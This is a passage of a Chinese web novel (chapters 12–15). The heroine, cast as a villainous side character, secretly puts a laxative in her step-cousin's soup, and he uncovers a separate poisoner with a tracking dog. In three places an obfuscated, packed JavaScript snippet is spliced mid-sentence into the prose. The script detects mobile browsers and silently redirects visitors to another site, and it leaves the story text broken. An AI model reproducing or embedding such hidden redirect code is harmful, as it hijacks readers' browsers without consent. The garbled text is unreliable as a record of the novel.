崔明淑本一心想在沈弼面前出彩,而今莫说是出彩,反倒闹了一个大没脸,姑娘家的面皮哪里挂得住,狠狠瞪了魏昭一眼后,哭着跑出去。 林氏给崔明静使了一个眼色,崔明静立马替自己的庶妹说情,“祖母,惠娘向来心直口快,您别与她计较,我这就去好好劝她。” 一个口无遮拦还使小性,另一个明理懂事且有嫡长女风范,两相一比较,高下立现。 魏昭最不愿意的就是搅进二房的嫡庶之争,没想到防不胜防,只觉得无奈至极。 哪怕她此时光是抵御不断的脑波冲击,已然耗费大半的心力,却还是能看出来林氏是拿她做了垡子,才引得崔明淑失态。 而盛氏之所以训斥崔明淑,并非是维护她,实则是因为崔绩。 她三岁丧母,若是这样也要担上克母之名,那一出生就死了亲娘的人该怎么算? 她下意识去看崔绩,仍旧一副清冷如玉的模样,却无端有种说不出来的孤独感,仿佛于千万人中亦孑然一身。 但这怎么可能呢? 他要什么有什么,出身地位长相才能应有尽有,这样的人怎么可能会孤独? 她觉得自己肯定是脑子不太好使了,看人都有些看不清。 正揉着眉心时,听到沈弼告辞的声音。 崔绩送人出去时,极淡的视线从她身上掠过。 她的头密密地难受着,一双腿差点不听使唤地跟着他走。他捕捉到她抬脚又收回的动作,冰湖般的眼底划过一抹异色。 林氏客套的话响起,“今日大家都受惊了,我命厨房炖了天麻鸡汤压惊,你们都喝上一碗,沈少卿也喝了再走吧。” 魏昭闻言,心念大动。 * 书香传世的人家,厨房的布局都有几分雅致,上面写着水引二字。 天麻鸡汤已经炖好,厨房内氤氲着药香与鲜香。因着她以往没少亲自来取饭食,灶下的人对她见惯不怪。丫头婆子们随她自便,并没有人跟着她,由着她自己盛汤装盒。 各房的食盒摆在一处,器皿也各不相同。 比方说盛氏钟爱金银器,林氏用的是大气悠韵的青花瓷,崔洵那里的是天青色釉的汝瓷,下人们不必区分食盒,也知碗盅是何房所有。 一众颜色图纹各异中,还有一抹纯白。 素净的白瓷,无任何描金绘花,白得不染人间任何色彩。她从放置台经过时,避着所有人,包括白鹤在内,以袖为掩将药下在那白瓷汤盅中。 为确保有效走剧情,也怕误伤他人,她让白鹤先回去,自己则悄悄尾随送汤的婆子。 崔绩是崔家的嫡长孙,哪怕是不常住在府里,其住处不管是位置还是格局皆是极好。假山奇石,小桥流水,点缀着精心修饰过的桂树。 她并不敢靠得太近,躲在一棵如团伞般的桂树后。 菱形格错落的窗户内,崔绩侧坐着,优越的五官完全的下颌线,哪怕离得远也可见的卓然风华。 他伏首于案台,不知在写什么,动作似行云流水般令人赏心悦目。 然而此时的魏昭没有半分欣赏之意,更无保护之心。有的只有为自己活命,不得不打破他的赏心悦目,让他不停往茅房跑的计划。 那婆子将食盒递给门口的斗南,斗南提着进去后没多久,白瓷的汤盅就出现在他面前。 成败在此一举,她的心一下子提起来,从未有过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826283|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待。 快喝,快喝…… 她默念着的同时,脑仁还在不断地受着冲击。 半刻钟后,他终于搁笔,揭开汤盅的盖子,很快又盖上。 须臾,魏昭的头不疼了。 识海澄明神清气爽,仿佛之前的生不如死都是她的错觉! 她心下大喜,还不来及思考他明明没喝汤,而惩罚却已结束是何缘由时,远远地对上他冷刃般的目光,仿佛无数的刀光剑影朝她射来。 这个时候是万万不能跑的,否则就是心虚。 如轻功踏雪的脚步声传来,她下意识屏住了呼吸。 “四妹妹?”冰玉相击的声音,似是在头顶响起。 她低着头,福了福身,“兄长。” “你怎么会在这里,为何没回去歇着?” 语气虽冷,字里行间却像是在关心,听起来很是别扭。 “之前我吓坏了,忘了谢谢兄长的相救之恩。刚刚人多,又苦无机会,便想着私下来找兄长,亲自向兄长道谢。” “你我兄妹之间,何需如此客气。” 魏昭挺想不客气的,但她没有办法。谁让她是恶毒女配,而他是男主呢?他们之间若能客客气气,彼此相安无事那该多好。 可惜啊,她只能让他厌恶! 明媚的阳光照在人身上生着暖意,她却觉得很冷,或许是心里的冷,也或许是眼前之人身上的寒意。 因着头疼退散而缓和的气血,让她的脸色好看了些。凝脂如玉的肌肤,隐隐有一丝透明之感,恰似剥了壳的荔枝,散发出清甜的果香,直叫人恨不得一口吞之入腹。 她感觉他慢慢靠近,以为他发现了什么,紧张到呼吸都为之一顿。 他似是叹了一口气,“还是说四妹妹你虽唤我一声兄长,却从未真正视我为亲人?” 魏昭愕然。 这人是何意? 难道是察觉到什么,已经开始厌恶她了吗? “我爹娘只生了我一个,我没有骨血至亲的兄弟姐妹,在我心里你就是我亲哥……” “别说了。” 看来套近乎攀关系无用,当成亲哥也不好使。 系统没有告诉她最后的下场是什么,但她想着一个让男主产生厌女症的恶毒女配,肯定不会有什么好果子吃。若是有可能,她真希望哪怕是不得不走剧情,她也不要落得一个太惨的结局。 “兄长,你是不是很讨厌我?” 她为表亲近,准备往前走两步,哪知身形才一动,便听到他冷玉与寒冰相撞的声音,“别动!” 竟然已经这么讨厌她了! 那她还有机会吗? 正思忖着,隐约听到一种奇怪“嘶嘶”声,意识到可能是什么东西后,她身体僵硬着一动不动,眼珠子慢慢地转动着。 桂花树的枝叶间,通体碧绿的小蛇正朝她吐着信子! 12.第 12 章 它约摸拇指粗细,绿得十分鲜亮,比桂花的树叶还要翠嫩几分,椭圆的脑袋,绿色的蛇眼如镶嵌着的宝石,璀璨而阴冷。 这是一条无毒蛇! 她心下微微一松,面上却半点不显。 春夏交替的时节,草木旺盛之处免不了蛇虫出没,但高门内宅中的下人皆有应对之法,冬浇滚水夏洒雄黄艾草灰,用以防治蛇虫侵扰主家。 这些年她住在崔家,不说是蛇,便是虫蚁都少见。 那这蛇是从哪里来的? 须臾,她想到了什么,隐约有些猜测。 “兄长,我害怕……”她装得很像,娇声中带着哭腔。 从这次的任务结果来看,她似乎只管走剧情即可。若照此说来,重要的是过程,结果完全不必理会,或许她可以隐藏好自己,无需真的碍男主的眼。 反正男主厌不厌女,女主能不能出现这种事,与她没有半文钱关系! “兄长,我该怎么办?”她仍旧是害怕的模样,流转着自己的美目,用求助的眼神看着崔绩。 崔绩也在看她,瞳仁在太阳光的照射下,冷而耀眼。 一如近在咫尺的蛇眼! 他的目光仿佛能一眼将她看穿,让她全身冰凉不寒而栗,恨不得离他越远越好。 恍惚之间,她感觉自己不止是被一条蛇盯上,而是两条。 这也太吓人了! 半晌,他终于开口,声音还是那么的好听,却透着一股子说不出来的幽冷,“你不要看它,慢慢往后退。” 她遵循着他的指示,小心翼翼地挪动着脚步,一点点地退开,一直退到十步开外的安全距离,这才朝他福了福身,迫不及待提着裙摆离开。 他看着她初时还故作娇柔,到后来越走越快,如寒墨的眼底划过一抹戏谑之色。 一直目送她的身影消失不见,他才慢慢地垂着眸,与那小蛇的眼睛对上。 小蛇已经收了火舌般的信子,静静地勾缠着桂树的枝条,似乎很乖巧的样子,顺着他伸过来的手指,滑进他的衣袖中。 斗南不知何时过来,不无感慨地道:“若是其他的姑娘,怕是都被吓坏了。四姑娘胆子倒是挺大的,竟然一声未喊。” “你方才说那人一早跟着她,她都做了什么?”崔绩拢好袖子,优雅而自若,若不是亲眼所见,不会有人猜得到他随身揣着一条蛇。 “那人说四姑娘进到巷子后不久走了另一个岔口,正巧与那两人迎面遇上,还主动向他们问路,这一点倒是与那两人的说辞能对上。” “那一带巷道错综复杂,若不是熟悉地形之人只会越走越偏离。她走岔了道,却能与人正面碰到,还真是巧。” 他的声音不辨情绪,如蛇吐信子般舔了一下自己的唇角。 * 魏昭一回到自己的院子,打眼看到魏绮罗站在那棵青梅树下。 美人望梅而叹,别有一番忧郁风情。 魏绮罗听到动静,转身看她,示意她到自己身边后,嗔道:“你受了惊吓,不好好歇着,乱跑什么?” 她有所隐瞒,却也说了一半真话,“我去找兄长了,他也算是救了我,我自是该去向他道谢的。” “你这孩子,主意是越发的大了,什么事都敢出头。你之前脸色那么难看,若不是我知道你打小胆子大,还当你真的被吓得不轻。” 所有人都以为她是装的,包括身边的人与至亲。 如此也好。 她笑了笑,挽着魏绮罗的胳膊进屋。 天麻鸡汤一直温在炉子上,还冒着热气,魏绮罗盯着她喝了一碗才作罢。 母女俩相处时,不拘是说话还是行事都很随意,谈论起府里发生的事来,更是无所不言。从盛氏对三房的偏爱,到二房之间的那点事,自是有什么说什么。 暮色渐起时,崔洵派人回来报信,说是今日回来得晚些,让魏绮罗不必等他。 魏绮罗这个妻子当的规矩,早送夫君出门,晚等夫君归家,纵是崔洵一月里只有两晚歇在她房里,她也能日复一日地坚守自己的岗位。 但崔洵有一点好,除去她应尽的本分外,旁的事情并不会拘束她,也不会过多干涉。其实说白了,或许是因为不在意。 她也乐得轻松,三不五时地和魏昭一起睡。 今日正好如此。 关了门熄了灯,皎白的月光透过雕花的窗照进来,分外的惬意温馨。 月已快合圆,还有两日就是十五。 依照崔洵定的规矩,逢十五是他们大房一家四口一起吃饭的日子。 “快十五了,若不然你明日就别回了,在府里多住两日,也好多陪陪我。” 对于魏绮罗的提议,魏昭没有拒绝。 这座百年清贵的府邸困不住她,她已经快要脱离出去,但魏绮罗呢? 不到三十的年纪,正是大好的青春年华,难道还要守着规矩当着别人的替身,在崔家的高墙内继续蹉跎吗? “娘,您有没有想过换一种活法?” 魏绮罗愣了一下,尔后笑起来,“你是想说让我换个男人吧?” “也不是非要换男人。”魏昭想了想,道:“但您若一直在崔家,这辈子都不会有自己的孩子,您真的甘心吗?” “你就是我的孩子啊。”魏绮罗一把搂过她,搓了一把她的嫩脸,“你一生下来就是我抱着的,是我把你带大的,我有你就够了。” “可我不能留在您身边,往后这里就只剩下您,您不会孤单寂寞吗?您若是愿意,以后我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李威闻言,哈哈大笑起来,对魏幸道:“魏大哥,我瞧着你家知之就很好,与我家小子性情相投,若不然以后就给我当儿媳吧。” 魏幸也跟着笑,“行啊,知之去你们家,我最是放心。” 他们都在在笑,如一幅温馨的有声画卷。 魏昭想看清他们的样子,努力睁大自己的眼睛,迷茫的视线中,似乎看到睡在身边的魏绮罗已经起来。 “娘,您要去哪里?” 魏绮罗按住她抬起的头,替她掖好被子,“大公子那里有些不对,我过去看看。” “兄长怎么了?”她嘟哝着,人还处在游离状态中。 “好像是吃坏了东西闹肚子。” 闹肚子? 这三个字一钻进耳朵里,她瞬间就清醒了。 13.第 13 章 魏绮罗一走,她再无睡意。 花窗上的错格几何图形被月色清楚照出,外面的青梅树叶在徐风中晃动不止,影子隐晦不明又摇摆不定,恰似她此时的心境。 月转星移,时间一点点流逝。 半个时辰后,魏绮罗的丫环锦绣来请她,带来一个令她十分意外的消息。 崔绩不是拉肚子,而是中毒! “大公子说他今日只喝了那天麻鸡汤,再未进食其他的东西。二夫人命人将灶下的人与进出过厨房的人都叫去问话。” 所以才会来喊她。 药是她亲自下的,是不是毒她最清楚,她还一直尾随送汤的婆子,可以确定期间没有任何纰漏,除非是有人先于她之前动的手脚。 她心下猜测不断,面上却冷静到有些麻木,赶紧起身穿衣,让白鹤简单给她披散的发编了个垂在胸前的辫子。 一出门,宜爽的空气中带着几分湿意。 夜凉如水,月辉所到之处似是哪哪都清透干净,好比这座家风清正的府邸。但再是清澈如水的内宅,只要有人在水底搅上那么一搅,什么淤泥烂草立马浮现,变得浑浊不堪。 她先是走得较慢,一路琢磨不断,越近崔绩的住处,她脚步就越加快。 远远看到人影绰绰,却无什么喧杂声。 灶下的下人们以及各房帮主子们取过饭食的丫环婆子皆在,正被林氏一一叫上前问话。 她未挤过去,干脆就站在最后面。 好几个人在叙述自己在厨房时所列举的证人中都有她和白鹤,倒是形成了一个闭环,省得她多费唇舌。 假山与桂树在月色下默默静立着,崔洵送张大夫出来,就站在檐廊下说着话,后跟出来的魏绮罗识趣地没有靠近。 她遥遥地朝魏绮罗示意,魏绮罗也朝她点头。 他们身后的门开着,可见里面的情形。 紫檀木为框架雕刻精美的屏风,屏面却是一片白,上面没有任何的绣绘。 内里的灯火映着那片白,可见其上倒出来的几个身影,从体型辨来应是盛氏和崔二崔三,以及杨氏。 忽然,人影错位分开,隐约传来盛氏心疼的声音,“绩哥儿,这事你就别管了,祖母定会给你一个交待。” “家宅不修,何以治理京畿?祖母,我身为安元府的少尹,自己的案子岂能由别人代劳?” 好听中隐有几分虚弱的声音,却仿佛有着千钧的力道,容不能旁人拒绝。 魏昭闻言,下意识往暗影处藏了藏。 很快,屏风后面的人全都出来了。 一身胜雪白衣的崔绩被斗南扶着,不多会儿就到了众人面前。 月色如银辉将他笼罩其中,与生俱来的贵气清冷中仿佛掺杂了几许破碎感,更像是美玉清寒,仿若琼枝映雪。 林氏见他出来,自是好一通怜惜的话,然后让他快回屋歇着,保证自己很快就能将事情查清楚。 他摆了摆手,道:“人多且杂,若一个个询问太过费时,也不一定能找到破绽。二婶放心,我心里有数。” 接着他附耳对斗南说了什么,斗南立马领命而去。 内宅之事说破了天都是关起门来的小事,皆由当家主母定夺。 而今他一插手,事情似乎有些变质,林氏的脸色有些不太好看。但他是实实在在的苦主,便是做什么都让人挑不出错来。 “母亲,这事是儿媳疏忽,儿媳定会查个明白,绩哥儿身子还虚着……” 盛氏幽幽叹了一口气,道:“民不举,官不究,绩哥儿受了这样的罪,他身为朝廷命官想查自己的案子也无可厚非。反正也不会捅到外面去,就让他帮着查吧,省得你受累。” 当婆母的发了话,林氏不好再争。 人不少,一时却静得吓人。 前面的人影形成的暗处,正好让魏昭将自己掩藏着,她微微地低着头,盯着自己的脚尖,努力让自己置身事外。 崔绩中的是毒,那这一切就与她无关! 忽然她感觉一道寒芒越过众人,精准无比地打在她身上,猛不丁让她浑身一个机灵,不由得将头更低了些。 人影重重,崔绩却能一眼看到她。 “四妹妹怎么也来了?” 这话如同一道咒语,让她不得不现身。 她一步步地挪动着,慢慢地到了跟前,福身向所有的长辈见礼,始终低垂着自己的脑袋,看上去有种怯怯之感。 “锦绣去叫的我,我这会儿还糊涂着,不知发生了什么事。”她声音也低,带着几分没睡醒的迷糊。 盛氏皱起眉来,似是有些不悦地问林氏,“昭丫头怎么会和这事有关,你也是太过小心谨慎了。” 林氏自是认错,说自己也是心急,一时顾不上想太多,只能把所有去过厨房的人都叫过来问一问。 末了,颇为歉意地对魏昭说,“昭丫头,这没你的事,你回去继续睡吧。” 魏昭巴不得撇清自己,哪有不依之理,忙行礼准备走人,不想被崔绩叫住。 “四妹妹既然来了,那就留下来看看,指不定有所受益。” 女子注定是后宅之主,不管是高门大户,还是小户之家,总免不了一些是非,多看看多知道些也是好的。 这话是好话,但说话的人是什么居心那就不得而知。 她没法拒绝,只能留下来,心里隐隐有些不安,暗自琢磨着这位男主葫芦里卖的是什么药。 答案揭晓时,她看着斗南牵来的细犬,还是无比的震惊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836280|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔绩让那细犬闻了闻还有残汤的汤盅,它很快窜了出去,斗南与两个家丁在后面紧紧跟着。 不知过了多久,随着它“汪汪汪”的声音响彻整个崔家,崔绩淡淡地说了一句,“找到了。” * 东西是在内宅的一个婆子的房里找到的,是令人腹痛下泻的毒,虽与魏昭下的药有异曲同工之处,但实质完全不同。 魏昭的药无毒,仅能令人经受腹泻之苦,而那婆子所藏之毒,若剂量大些是能要人命的。 那婆子拼命喊冤,说自己不可能谋害大公子。哪怕被证实何日何时在何处买的东西,却还是抵死不认自己下过毒。 盛氏勃然大怒,当场将她杖责三十后发卖出去。 内宅之中出了这样的事,林氏难辞其咎,自责愧疚难当。 盛氏怒气未消,却没有当众斥责于她,而是冷声道:“最近府里事多,你有所不察,顾不过来也是正常,好在现下老三家的也回来了,就让她帮衬你吧。” 又对杨氏道:“你二嫂这些年帮我管着府里上下,着实是辛苦了些,难免有不周到的地方,你可得好好帮她分担一二。” 杨氏恭顺地应下。 林氏心里如何想的不说,面上却是一副欢喜的样子,拉着她的手道:“以后有三弟妹帮我,我就轻省多了。” 一派和气,没有争执拉据,这内宅之中的格局却悄然发生了变化。 夜色更深了些,月华却更加皎明。 那婆子的下场让魏昭心有戚戚,想着若是崔绩用同样的办法对付她,她很快就会暴露,倘若仅是招来厌恶也就罢了,万一还有报复…… 她越起越觉得冷意重了些,不由得抱了一下自己的胳膊。 “四妹妹,可是又吓着了?” 冰玉相击的声音,在这样的夜里听来却有些瘆人。 她半掀着眼皮,看着不知何时过来,已然站在自己面前的人。 那一身的雪色,在银光下似乎冒着寒气,修长的身姿微微地俯着,仿佛是白蛇悬地而起,勾着脑袋阴冷地盯着自己的猎物。 她应该感到惊悚,遂老实点头。 “是有些吓人。” 崔绩似是轻笑一声,“原来四妹妹胆子这么小,那以后记着不该去的地方不要去,免得再被吓着了。” 这是何意? 警告吗? 她心下惊疑不定,有些看不透眼前这个人,不知他有没有识破自己。 今夜这一出看起来像是螳螂捕蝉黄雀在后,但实际更像是阴暗潮湿的冷血动物滋生出来的一次猎杀。 如果有可能,她真想远离这个人。 可惜她不能! 她还不得不装作受教的样子,一脸感激地道:“我听兄长的。” 14.第 14 章 两人客客气气,瞧着兄友妹恭。 在崔府上下所有人眼里,崔绩无疑完好地承继了崔家的风骨,虽为人冷清了些,却是个言行举止皆有礼有度的如玉君子。 他尊敬长辈,待弟妹温和,一应分寸都拿捏得极好。 但在魏昭看来,他就是一个危险分子。 她盈盈地退到魏绮罗身边,一副乖巧的模样。 魏绮罗小声问她,“没事吧?” 她轻轻摇头。 算是有惊无险吧。 戏终人散,下人们已陆续离去,盛氏等人也在往出走。 她似有所感地抬头望去,果然见崔洵如挺立松柏般站在不远处,临风背手清俊儒雅,纵是面色严肃显现刻板,却仍然有着令人惊叹的仪态。 “你快去吧,我自己回去。”她压着声对魏绮罗道。 魏绮罗撇了撇嘴,没好气地翻了一个白眼,“行吧,夫唱妇随嘛,只要有他在,我就得跟着。那你自己回去接着睡,什么也不要想。” 转身过去时已然换了一副面孔,娇美中稍带着柔弱。 魏昭见之,只觉愧疚。 记忆中那个最是泼辣率性的姑娘,这些年当着别人的替身,模仿着别人的样子,心中定然也是委屈的吧。 她看着他们的背影,心下叹着气。 “大哥是闷了些,但对大嫂向来尊敬,夫妻俩相敬如宾,也是难得。”杨氏不知何时过来,英气的脸上满是让人亲近的笑容。 她不置可否。 对于这个世间的很多人而言,崔洵的身边没有姨娘妾室,又品性端方,委实没有什么可挑剔的。 “五妹妹今日怕是吓坏了,可好些了?” “我瞧着她倒没怎么吓到,就是苦了你。”杨氏看她的目光很温和,“你说我们是一家人,相互帮衬是应该的,那云娘的事我也就不和你客气,以后我们有来有往的,一家人不说两家话,可好?” 这是在向她示好,还有对她承诺。 如今内宅势力变化,杨氏也要占一席之地,给出这样的承诺绝对不是托大。 她是快要脱离崔府,以后天高任鸟飞,但魏绮罗还在府里讨生活,若有人能多加照顾一二,终归是件好事。 思及此,她并没有婉拒,而是福了福身,道:“三婶说的极是,一家人不说两家话,我娘平日里也是这么教我的。” 聪明人说话,听音便知意。 杨氏立马明白她的意思,拉着她的手,“你这孩子,看起来安安静静的,实则是个心里有数的,你娘真是好福气。” 她装作羞赧地低头,“三婶莫要夸我了,我哪里受得住。这一天下来发生的事太多,我脑子还是乱着的。我有些想不明白,那人为何要害兄长?” “她为何要害绩哥儿,我也想不通。”杨氏皱起眉来,很快又松开,“她私买那样的东西,摆明是居心不良。或许是冲着绩哥儿来的,也或许是弄错了,无论怎么说她想害人是真,落得这样的下场不冤。” 话虽如此,但她还是有些不安。 这一切似乎太巧了! 假山桂树似是不动的守卫,仍旧默默无语。 崔绩已经回屋,四下一片沉寂。 她们慢慢往外走时,斗南牵着那条细犬出来溜。 杨氏夸了一句,“是条好狗,得亏云娘不在,否则定会稀罕得不行。” “三夫人,这叫追命,它可厉害了,帮着沈少卿和我家公子破了不少案子。”斗南说这话时,那细犬昂着着,神情很是傲娇。 魏昭感慨它的灵性,暗自庆幸不已。 可能是因为自己下的药分量不多,被那婆子下的毒所掩盖,否则今日被它揪出来的人就是她了。 “原来它还是一条吃官粮的狗。”杨氏打趣道。 斗南抚摸着追命的脑袋,语气中带着几分骄傲,“它今日立了功,我让灶下给它煮了些肉骨头,等它吃完后我还要送它去敬远伯府。” 杨氏很感兴趣,笑着问道:“莫不是它在伯府还有差事?” “正是。那刺杀江伯爷的贼人还未抓到,沈少卿派了不少人保护江伯爷,一旦那贼子再露面,只要被追命闻到气味,或是咬了一口,任他再会躲藏也能被找出来。” 魏昭听到这话,心口微微发着凉。 再次暗道幸好自己一向行事谨慎,离开的时候叮嘱风师公看好李戌,让李戌不要轻举妄动,否则一旦被追命盯上,哪怕是换脸也无济于事。 当真是好险! 这时灶下的人来送煮好的肉骨头,冒着热气的肉骨头的香味在夜里飘散开来,引来一阵欢快的“汪汪”声。 她和杨氏走出去老远,分道扬镳时她忍不住回头望着那一人一狗,心念微动着。 追命摇着尾巴,恨不得将自己的头埋在盆子里,吃得十分欢实。 斗南蹲在一旁等着,碎碎地念着,“你这几天辛苦了,多吃些,吃快点,吃完了我再送你去伯府。” “不必催它,再急也不急这一两个时辰。” “公子?”斗南站起身来,欲上前扶他,“你怎么出来了?” “我无大碍。”崔绩望着夜色,目光所朝正是魏昭走的方向。 斗南一脸崇拜地看着他,“还是公子厉害,将计就计解决了一个隐患,也省得属下还要派人盯着那个妈妈,防着她真的害人。” 但还有不解。 “公子你一向不愿掺和府里的事,哪怕是早知府里有人包藏祸心,也只让人监视,为何这次破例?” “以后我会时常回来小住,自是希望这内宅之中能少些事端。” “公子,你这是想打算搬过来?”斗南高兴起来,“我也觉得这里比公主府更自在些,若是……” 他自觉失言,有些懊恼。 “公子,我多言了。” 一阵沉默,唯有寂寂。 崔绩垂着眼皮,仿佛根本没听清他说了什么。 有那么一瞬间,他觉得眼前之人很孤独,像是飘浮不定的云,明明高高在上,却无处归依。 他试探着转移话题,“公子这么做,岂不是放过那真正在汤里下药的人?还有……我想不明白,那人想害公子,为何下的是泻药,而非是毒?” 崔绩闻言,似是轻笑一声,“或许那人是想戏弄我,也或许是想拖 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她没有再问,熟练地从衣柜最底下取出一个包袱,打开包裹着的绿色衣裙,露出里面的黑色夜行衣。 一刻钟后,魏昭出了崔府。 一路踽踽夜行,避开巡城的人,直奔敬远伯府。 江家最早是国公府,因着不是世袭罔替的爵位,三代一降爵,便成了如今的伯府,但也只是换了名头而已,住的还是最早依着国公规制而建的府邸。 这座府邸极大,屋子翘檐飞扬注梁相接。 纵是她没来过,却能轻易找到江昌义的住处。 原因无它,只因那里才有大理寺的人。 她没敢靠太近,而是远远地观望着,见几个家丁模样的人从里面出来,悄悄地跟上去。 “伯爷也不知怎么样了,这一天到晚不停地用冰,我怀疑……” “你不要命了!沈少卿说了,管好我们的嘴,不该说的不要说,不该问的不要问。” “我也没说什么,就是担心府里今年的冰不够。” “这不是你我该操心的。” 四下无人,他们的声音不算小。 这个时节凉爽宜人,还未到用冰的时候。 那么江昌义用冰如此之厉害,答案呼之欲出。 她不作停留,悄无声息地离了伯府,再一鼓作气回到崔家。 夜很静,唯有月光之下自己的影子紧紧跟随。 忽然她感觉后背一阵凉,倏地停下来扫视一圈,目光中的锋芒划破夜色,然后屏住自己的气息,静着心认真地听着周围的动静。 除去细碎的叶声,再无其他声响。 应该是自己多心了! 她收起眼中的锐利之色,快速消失。 不知过了多久,玉兰树为挡的阴影中慢慢走出一人。 白衣胜雪,如月下仙人。 通体碧绿的小蛇从他袖子里钻出来,顺着他的胳膊蜿游至他肩头,盘尾支棱着蛇身,高悬着椭圆的脑袋,与他望向同一个方向。 他们眼底的幽冷,几乎一模一样! 15.第 15 章 * 晨曦乍现时,明月依旧没有离去,只是光芒淡去了许多。 魏昭站在窗前静等着这一抹天光,估摸着崔洵已去上衙的时辰,这才带着白鹤去往魏绮罗的住处。 魏绮罗将将送走崔洵,正准备补个回笼觉,打眼看到她们过来,不甚雅观地哈欠着,指着白鹤手里的包袱,“这是要走?” “明日十五,本是不打算走的,只是府里最近事太多,我实在是不想招惹麻烦,想着多一事不如少一事,今日我就先回去避一避也是好的。” 昨晚闹那么一出,这内宅之中已有的格局被打破,林氏绝非表面上的不在意,私底下定会有所动作。 不管是以前,还是现在,她都不愿意掺和崔家人的内部争斗。 魏绮罗知她所想,摆了摆手,“也好,你能躲多远躲多远,明日也别急着赶过来,晚饭之前人到就行。” “那娘您自己当心些。”她不放心地叮嘱着。 “你就放心吧,我大门不出二门不迈,她们算计不到我头上。”魏绮罗挽着她的胳膊,将她送出了门。 母女二人在门口道别,一个往出走,另一个回屋。 还未出大房的地界,迎面碰到崔明静。 崔明静正是来找她的,见到她的第一句话就是,“四妹妹,你说我们是一家人,一家人就应该互相帮忙,不知你这话可能当真?” 同样的拿她的话来说事,杨氏是示好,而崔明静目的不明。但有一点可以肯定,绝对不可能是什么好事。 她没有急着回答对方,而是抬头看了眼天色。 东方的鱼肚白中隐有霞光溢出,万物沐浴着天光,呈现出清楚真实的模样,假山是假山,树木是树木,不再影影绰绰。 但人心却还藏着。 于血肉之中,于阴暗之下,隔着肚皮,天光照不见。 “四妹妹,你是不是就是随口一说,其实并未把自己当成崔家人?”崔明静似是有些失望,语气中带着几分黯然。 她心下一声叹息,不得不应对,“二姐姐这话没头没脑的,我怎么一句也听不懂。” 崔明静一把抓着她的胳膊,眉宇间有着不加掩饰的愁容,“三妹妹不知悔改,摔摔打打的闹腾个不停,我是怎么劝都不听,若是被祖母知道,定然会动怒,我想着你或许有法子,帮着去劝一劝。” “家里凡事都有长辈做主,二姐姐为何来找我?” “我也是早起才知道昨晚上发生的事,府里最近事情一出接着一出,我实在不想再去叨扰祖母她老人家。我娘是嫡母,嫡母难为,她反倒不好说三妹妹什么,若不然夏姨娘闹到我父亲那里,免不了一通乱。” “三姐姐最不喜我,我若是去了,指不定让她更生气。” “不会的。”崔明静还拉着她不放,“解铃还得系铃人,我想着三妹妹这一通置气,恐怕缘由还在你,只要你过去说几句软话,或许她的气就消了。” 她快气笑了。 崔明淑针对她,她还得去服软,不就是让她伸着脸去挨打。 “二姐姐,你确定我去说几句软话,三姐姐的气就能消?” “我想应是如此的,四妹妹,你一向乖巧懂事,肯定也不愿意我们姐妹之间闹僵,让祖母难受吧。” 她一个继孙女,除了听话懂事,也不能有别的性格。 崔明静一直是这样,无论说话还是行事,让人挑不出半点错来,可是她吃过亏,深知这端庄大气之下,藏着一个又一个的陷阱。 然而对方把话都说到这个份上,又拉着她不放,她若是不去那就是不把自己当崔家人,故意让长辈们为难。 也罢。 那就去看看吧。 * 夏姨娘自来有宠,所住的院子不差。 花石奇松皆有,还有一方小池,池水浅可见底,绿草浮萍工造自然,水中还养了几尾色泽鲜艳的红鲤。 她们未进来之前,并没听到什么动静,等到靠近之后,西厢才传来崔明淑发作的声音。 “她魏昭算个什么东西,一个小户出身的人,也配和我相提并论!不就是长了一张勾人的脸,处处抢占风头,当真是不知廉耻!” 魏昭觉得这姐妹俩都是故意的。 一个故意找她来听人骂,另一个则是故意骂她给别人听。 二房的嫡庶之争,为何总要扯上她? “三姐姐,你说的对,我出身低,哪里能和你比。你大人不和小人论,以后莫要惦记着我,自然也就不气了。” 她话音才一落,西厢的门就开了。 崔明淑像个斗鸡般瞪着她,“你还敢来!你是不是来看我笑话的?” “是二姐姐非要我来的,她说只要我说几句软话,你就能消气。我软话也说了,你现在气消了吗?” “二姐姐惯会做好人,我几时说只要她说几句好听的话,我就原谅她了?”崔明淑冷哼一声,对着崔明静也没什么好脸色。 崔明静不气也不恼,还在好言劝她,“三妹妹,我们一家子姐妹,合该和和睦睦的,你到底是姐姐,怎能一直和自己的妹妹如此置气?” “她不是我妹妹!她姓魏,我姓崔,她算哪门子崔家姑娘!” “三姐姐说的是,我姓魏,我不是崔家的姑娘。”魏昭作伤心状,转身要走。 崔明静哪里肯,拦住她的去路,“四妹妹,自从你进了崔家的门,那就是我崔家的姑娘。惠娘是在气头上,她说的话你不要放在心上。” “我的话她不放在心上,岂不是看不起我?”崔明淑被激怒,一下子冲了过来。 这时正屋的门从里面打开,传来夏姨娘不高兴的声音,“这一大清早的,你们吵什么?” “四妹妹,你快和夏姨娘解释。”崔明静扯着魏昭的衣袖,也不知怎么的自己手腕上的玛瑙手串却断了。 夏姨娘刚好过来,踩到几颗正在滚动的珠子,脚底生滑身形一个不稳。 魏昭眼疾手快,一手将她扶住,另一只手捉住她的手腕,察觉到有些异样后,不动声色地用两指按在她的脉搏处。 是滑脉! 